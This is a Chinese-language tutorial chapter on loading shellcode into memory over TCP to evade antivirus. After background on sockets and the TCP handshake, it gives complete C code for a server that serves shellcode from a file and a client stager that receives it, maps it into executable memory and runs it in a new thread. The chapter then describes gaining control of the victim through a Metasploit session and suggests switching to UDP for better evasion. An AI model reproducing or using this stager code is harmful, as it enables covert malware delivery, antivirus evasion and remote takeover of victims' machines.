1.11 动态加载ShellCode绕过杀软

反病毒解决方案通常利用静态分析技术来识别恶意文件,但是如果攻击者使用轻量级的stager(即将代码下载到内存中,而不是磁盘),静态分析技术就可能会失效。使用动态加载ShellCode技术可以绕过大多数防病毒软件的检测,因为它们通常只会检测磁盘上的文件,而不会检测内存中的文件。因此,攻击者可以在内存中加载恶意代码,并且某些防病毒软件可能无法识别它。

基于TCP协议的ShellCode远程注入是一种黑客攻击技术,通过利用TCP协议中的Socket套接字传输ShellCode攻击载荷,从而实现对受害者计算机的远程控制。攻击者编写一个程序包含恶意ShellCode代码,并在该程序中启动一个Socket监听端口,受害者计算机连接攻击者计算机的Socket监听端口,建立TCP连接,攻击者将ShellCode代码通过TCP连接发送到受害者计算机,ShellCode代码将被注入到受害者计算机的内存中并开始执行,攻击者以此来实现远程控制和反弹后门的目的。

什么是Socket协议,他有哪些应用呢?

Socket(套接字)是一种网络通信协议,可以在不同的计算机之间实现进程间的通信。是应用层和传输层之间的一个接口,它提供了一组用于网络通信的函数,包括创建套接字、绑定套接字、监听连接、接受连接、发送数据、接收数据等。开发人员可以使用这些函数,基于Socket接口编写网络应用程序,实现不同计算机之间的进程间通信,或者同一计算机上的不同进程之间的通信。

Socket 套接字有两种类型:

  • 流式套接字和数据报套接字。流式套接字提供了一种可靠的、面向连接的通信方式,常用于实现基于TCP协议的应用程序。
  • 数据报套接字则提供了一种不可靠的、无连接的通信方式,常用于实现基于UDP协议的应用程序。

Socket 套接字的使用广泛,被广泛应用于互联网上的各种网络应用程序,如 Web 服务器、邮件服务器、FTP 服务器、P2P 文件共享程序等。同时,许多编程语言和操作系统都提供了Socket接口的实现,使得开发者可以方便地使用Socket编写网络应用程序。

那什么又是TCP/UDP协议呢?

TCP(Transmission Control Protocol,传输控制协议)是一种基于连接的、可靠的、面向流的传输层协议。它是互联网协议栈中最常用的协议之一,它通过使用序号、确认和重传机制来确保数据在传输过程中不会丢失、重复或损坏。TCP 协议还支持流量控制和拥塞控制,可以根据网络拥塞的情况动态调整数据传输的速率,以保证网络的稳定性和可靠性。

一般而言TCP协议主要实现了以下功能:

  • 可靠数据传输:TCP协议通过使用序列号、确认号、重传机制等技术,保证数据的可靠传输。
  • 流量控制:TCP协议通过滑动窗口机制来控制发送方和接收方之间的数据传输速率,以避免网络拥塞。
  • 拥塞控制:TCP协议通过使用拥塞窗口、慢启动、拥塞避免、快速重传、快速恢复等机制,来控制网络拥塞,以保证网络的稳定性和可靠性。
  • 传输顺序控制:TCP协议通过使用序列号来控制数据的传输顺序,以保证接收方能够按照正确的顺序重组数据。
  • 连接管理:TCP协议通过三次握手和四次挥手的方式来建立和断开连接,以保证数据传输的可靠性和正确性。

要实现数据通信TCP会经历3次握手,三次握手(Three-way Handshake)是TCP协议用于建立可靠连接的一种方法,它由三个步骤组成,具体流程如下:

  • 1.客户端向服务器发送一个SYN(Synchronize Sequence Number,同步序列号)报文,用来请求建立连接。该报文中包含一个随机生成的序列号(Seq)。
  • 2.服务器接收到客户端的SYN报文后,向客户端发送一个SYN+ACK(Synchronize Acknowledgement,同步确认)报文,用来确认客户端的请求并表明自己也愿意建立连接。该报文中包含一个确认号(Ack)和另一个随机生成的序列号(Seq)。
  • 3.客户端接收到服务器的SYN+ACK报文后,向服务器发送一个ACK(Acknowledgement,确认)报文,用来确认服务器的请求,并表明自己已经准备好传输数据了。该报文中包含一个确认号(Ack),其值为服务器发送的序列号(Seq)加一。

在TCP三次握手中,第一次握手由客户端发起,用来请求建立连接;第二次握手由服务器发起,用来确认客户端的请求并表明自己也愿意建立连接;第三次握手由客户端发起,用来确认服务器的请求,并表明自己已经准备好传输数据了。这样,客户端和服务器就可以互相确认彼此的身份,建立起可靠的连接,确保数据的安全和可靠传输。

经过以上三个步骤,TCP连接就建立起来了,客户端和服务器就可以开始传输数据了,当然这个过程对于开发者而言是透明的,开发者无需知道具体的底层实现细节,只需要使用操作系统中提供的API编程接口即可,我们以Windows平台为例,当我们需要创建一个Soocket套接字时,一般会经历如下流程。

首先读者需要引入<Winsock2.h>此头文件是Windows平台下套接字编程的主要头文件,提供了socket等套接字相关的函数和数据类型的定义。#pragma comment(lib, "ws2_32.lib") 是为了链接套接字库文件,确保程序能够正确调用套接字函数。

第一步,初始化Winsock库,该库提供了套接字编程所需的底层网络协议支持。在使用套接字编程之前,需要先初始化Winsock库。

使用WSAStartup函数初始化Winsock库,函数原型如下:

int WSAStartup(
WORD wVersionRequested,
LPWSADATA lpWSAData
);
  • wVersionRequested 参数表示请求的 Winsock 库版本,通常使用宏 MAKEWORD(2, 2),表示请求版本为 2.2。
  • lpWSAData 参数是指向一个 WSADATA 结构体的指针,用于返回 Winsock 库的详细信息。
  • WSAStartup 函数成功返回 0,失败返回非 0 值。

第二步,创建套接字,使用socket函数创建套接字,函数原型如下:

SOCKET socket(
int af,
int type,
int protocol
);
  • af 参数表示地址族,通常使用 AF_INET 表示使用 IPv4 地址族。
  • type 参数表示套接字类型,常用的有两种:SOCK_STREAM 表示创建流式套接字,SOCK_DGRAM 表示创建数据报套接字。此处使用 SOCK_STREAM,表示创建流式套接字。
  • protocol 参数表示协议类型,常用的有两种:IPPROTO_TCP 表示使用 TCP 协议,IPPROTO_UDP 表示使用 UDP 协议。此处使用 IPPROTO_TCP,表示使用 TCP 协议。
  • socket 函数成功返回套接字描述符(socket descriptor),失败返回 INVALID_SOCKET。

1.11.1 探索服务端

至此套接字的初始化工作就完成了,而下一步对于服务端而言,则需要调用Bind绑定套接字,使用bind()函数可以绑定一个套接字(socket)到一个特定的本地地址和端口号。该函数的原型如下:

int bind(SOCKET s, const struct sockaddr *name, int namelen);

其中,s是要绑定的套接字,name是一个指向要绑定的本地地址结构体的指针,namelen是地址结构体的长度。在IPv4协议中,name是一个指向sockaddr_in结构体的指针,该结构体定义如下:

struct sockaddr_in {
short sin_family; // 地址族(Address Family)
unsigned short sin_port; // 端口号(Port number)
struct in_addr sin_addr; // IP地址(IP address)
char sin_zero[8]; // 填充(Padding)
};

而读者在初始化时,需要根据要求填充这个套接字为特定的内容,例如将sin.sin_family设置为AF_INET表示使用IPv4协议,sin.sin_port表示绑定端口号,sin.sin_addr.S_un.S_addr表示本地IP地址,INADDR_ANY是一个常量,表示本地任意可用的IP地址,当填充结构结束时则可以直接调用bind函数实现套接字的绑定。

至此服务端再次调用listen函数,该函数用于将一个已绑定的套接字转换为监听套接字,到出现客户端链接请求时则套接字会接受请求,并路由到accept函数,accept()函数,用于接受客户端的连接请求,创建一个新的套接字用于和客户端通信。它的原型如下:

SOCKET accept(SOCKET s, struct sockaddr *addr, int *addrlen);

其中s是监听套接字,addraddrlen用于存储客户端的地址信息。accept()函数会一直阻塞,直到有客户端连接到服务器为止。当有客户端连接到服务器时,accept()函数会返回一个新的套接字,用于和客户端通信。这个新的套接字是已连接的套接字,它和客户端的套接字已经建立了连接。我们可以使用这个新的套接字进行数据传输。

而当客户端上线并准备就绪时,此时服务端通过调用send函数(该函数用于向已连接的套接字或者未连接的套接字发送数据),将提前准备好的恶意代码传输给客户端,并通过closesocket关闭本次执行,等待下一个客户端前来获取ShellCode代码,至此服务端的实现流程就完成了。

格式化ShellCode是传输前提

对于Send所发送的数据,我们也需要保证其格式,此处我们还需要通过封装实现一个CompressedOnFormat函数,该函数的主要功能,是将一段ShellCode代码字节数组压缩为一段纯字符串,并在格式化时将其转化为内存字节类型的数据格式,这可以让套接字更好的实现传输,并在传输过程中保证数据的可用性;

如上图所示则是未被格式化的ShellCode代码,通过如下CompressedOnFormat()代码的过滤功能,则会将ShellCode载荷动态装载到GloShellCode全局变量中,并返回memory_allocation也就是返回长度。

#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <Windows.h>
#include <string>

#pragma comment(lib,"ws2_32")

char GloShellCode[8196] = { 0 };

// 压缩并规范到内存
int CompressedOnFormat(const char* FileName)
{
FILE* fp_read;
int memory_allocation = 0;

// 首先压缩为一行
if ((fp_read = fopen(FileName, "r")) != NULL)
{
char char_in_;
while ((char_in_ = fgetc(fp_read)) != EOF)
{
if (char_in_ != L'\n' && char_in_ != L'\"' && char_in_ != L'\\' && char_in_ != L'x' && char_in_ != L';')
{
GloShellCode[memory_allocation] = char_in_;
memory_allocation = memory_allocation + 1;
}
}
_fcloseall();
}

// 接着规范为内存格式
unsigned int char_in_hex;
for (int x = 0; x < (memory_allocation - 1); x++)
{
sscanf(GloShellCode + 2 * x, "%02X", &char_in_hex);
GloShellCode[x] = (char)char_in_hex;
}
return memory_allocation;
}

int main(int argc, char *argv)
{
int memory_allocation = CompressedOnFormat("c://shellcode.txt");

printf("格式化 = %d \n", memory_allocation);

for (size_t i = 0; i < memory_allocation; i++)
{
printf("%x ", (unsigned char)GloShellCode[i]);
}

system("pause");
return 0;
}

运行上述代码片段,读者可看到如下图所示的输出结果,可以对比发现,此时的ShellCode已经可以被直接通过Socket传输了;

服务端程序核心代码

而当这些工作都做好以后,接下来我们则需要实现服务端发送程序,在主函数中通过传入path="d://shellcode.txt"设置当前路径,通过port = 8877设置侦听端口号,如下核心代码所示;

int main(int argc, char *argv)
{
char *path = "d://shellcode.txt";
int port = 8877;
int count = CompressedOnFormat(path);

if (count != 0)
{
WSADATA wsaData;
SOCKET sock, Sclient;
struct sockaddr_in sin, client;
int nAddrLen = sizeof(client);

WSAStartup(MAKEWORD(2, 2), &wsaData);
sock = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);

sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = INADDR_ANY;

bind(sock, (struct sockaddr*)&sin, sizeof(sin));

printf("[*] TCP服务端启动端口: %d 正在等待上线. \n", port);

while (1)
{
if (listen(sock, 20) != SOCKET_ERROR)
{
Sclient = accept(sock, (SOCKADDR*)&client, &nAddrLen);
send(Sclient, GloShellCode, sizeof(GloShellCode), 0);
printf("[+] 上线地址: %s --> 端口: %d \n", inet_ntoa(client.sin_addr), htons(client.sin_port));
}
closesocket(Sclient);
}
WSACleanup();
}

system("pause");
return 0;
}

读者手动启动并运行如上述代码片段,如果成功执行则会看到如下所示的输出效果;

1.11.2 探索客户端

与服务端套接字创建相比客户端的创建流程仅仅只是多了connect连接与注入功能,connect函数用于建立与远程服务器的连接。它的函数原型如下:

int connect(SOCKET s, const struct sockaddr* name, int namelen);

其中,s是要建立连接的套接字,name是指向远程服务器地址的指针,namelenname结构体的大小。connect函数的作用是向指定的服务器发起连接请求。在成功建立连接后,可以使用sendrecv函数来进行数据的发送和接收。如果连接建立失败,则可以使用WSAGetLastError函数获取错误码,进而找到失败的原因。

当与服务端的链接一旦被建立,则下一步通过recv()函数动态接收攻击载荷到本地,并通过CreateThread开启线程函数,如下则是核心实现原理,读者通过前面的内容应该很容易理解这段话所表达的含义,此处就不再赘述;

void* ShellCode = VirtualAlloc(0, sizeof(GloShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ShellCode, GloShellCode, sizeof(GloShellCode));

hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
memset(ShellCode, 0, sizeof(ShellCode));

将上述功能总结起来,则读者可获取到如下所示的客户端片段,读者通过port指定为服务端的端口号,并通过remote_address指定为服务端的IP地址信息。

#define _CRT_SECURE_NO_WARNINGS
#define _WINSOCK_DEPRECATED_NO_WARNINGS
#include <WinSock2.h>
#include <Windows.h>
#include <string>

#pragma comment(lib,"ws2_32")

char GloShellCode[8196] = { 0 };

int main(int argc, char *argv)
{
WSADATA wsaData;
SOCKET socks;
struct sockaddr_in sin;
HANDLE hThread;

int port = 8877;
char *remote_address = "127.0.0.1";

WSAStartup(MAKEWORD(2, 2), &wsaData);
socks = socket(AF_INET, SOCK_STREAM, IPPROTO_TCP);
sin.sin_family = AF_INET;
sin.sin_port = htons(port);
sin.sin_addr.S_un.S_addr = inet_addr(remote_address);

if (connect(socks, (struct sockaddr*)&sin, sizeof(sin)) != SOCKET_ERROR)
{
int ret = recv(socks, GloShellCode, sizeof(GloShellCode), 0);
if (ret > 0)
{
void* ShellCode = VirtualAlloc(0, sizeof(GloShellCode), MEM_COMMIT, PAGE_EXECUTE_READWRITE);
CopyMemory(ShellCode, GloShellCode, sizeof(GloShellCode));

hThread = CreateThread(0, 0, (LPTHREAD_START_ROUTINE)ShellCode, 0, 0, 0);
WaitForSingleObject(hThread, INFINITE);
memset(ShellCode, 0, sizeof(ShellCode));
}
}
memset(GloShellCode, 0, sizeof(GloShellCode));
closesocket(socks);

WSACleanup();
}

编译并运行如上代码,则服务端会接收到攻击载荷,并将该载荷动态注入到内存中,实现反弹;

至此,读者打开kali中的metasploit组件,则可看到客户端已上线,我们已经拿到了客户端的控制权;

当然读者也可以通过UDP协议实现反弹,而UDP因为是无连接的协议,在发送数据后并不会保证数据的完整性,当使用UDP传输攻击载荷是相对的会比TCP更好,因为UDP默认不保持会话,这对于规避安全软件会有更好的效果,当然读者可以自行尝试改写这段代码,此处笔者只是抛砖引玉为大家解释这种攻击手法的实现细节;